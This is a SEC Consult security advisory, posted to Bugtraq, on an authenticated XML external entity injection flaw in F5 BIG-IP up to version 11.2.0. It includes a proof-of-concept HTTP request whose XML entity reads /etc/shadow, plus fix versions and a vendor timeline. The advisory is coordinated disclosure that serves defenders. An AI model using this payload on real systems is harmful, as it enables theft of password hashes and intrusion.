SEC Consult SA-20130122-0 :: F5 BIG-IP XML External Entity- Injection vulnerability

From: SEC Consult Vulnerability Lab <>
To: bugtraq <>,
Subject: SEC Consult SA-20130122-0 :: F5 BIG-IP XML External Entity- Injection vulnerability

SEC Consult Vulnerability Lab Security Advisory < 20130122-0 >
              title: XML External Entity Injection (XXE)
            product: F5 BIG-IP
 vulnerable version: <=11.2.0
      fixed version: 11.2.0 HF3
                 11.2.1 HF3
         CVE number: CVE-2012-2997
             impact: Medium
              found: 2012-09-03
                 by: S. Viehböck
                     SEC Consult Vulnerability Lab

Vendor/product description:
"The BIG-IP product suite is a system of application delivery services that
work together on the same best-in-class hardware platform or software virtual
instance.  From load balancing and service offloading to acceleration and
security, the BIG-IP system delivers agility\u2014and ensures your applications
are fast, secure, and available."


Vulnerability overview/description:
An XML External Entity Injection (XXE) vulnerability exists in a BIG-IP
component. This enables an authenticated attacker to download arbitrary files
from the file system with the rights of the "apache" OS user.  The BIG-IP
configuration even allows access to the critical /etc/shadow file which
contains the password hashes of users.

Proof of concept:
The following exploit shows how files can be extracted from the file system:

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>

The response includes the content of the file:

<?xml version="1.0" encoding="utf-8"?>
has sent unknown dialogueType '

Vulnerable / tested versions:
The vulnerability has been verified to exist in the F5 BIG-IP version 11.2.0.
No modules have to be enabled for successful exploitation.

Vendor contact timeline:
2012-09-07: Contacting vendor - reqesting PGP/SMIME key.
2012-09-07: Vendor provides case number and PGP key.
2012-09-11: Sending advisory draft and proof of concept.
2012-09-20: Vendor has a fix for the vulnerability - will be released "with
            different hot fixes for different releases".
2012-11-21: Vendor announces that fix will be provided with 11.2.0 HF3 and
            11.2.1 HF3.
2013-01-22: SEC Consult releases coordinated security advisory.

Update to 11.2.0 HF3 or 11.2.1 HF3.

Patch information is also available at:

No workaround available.

Advisory URL:

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Tel.: +43 / 1 / 890 30 43 - 0
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Mail: research at sec-consult dot com

EOF S. Viehböck / @2013

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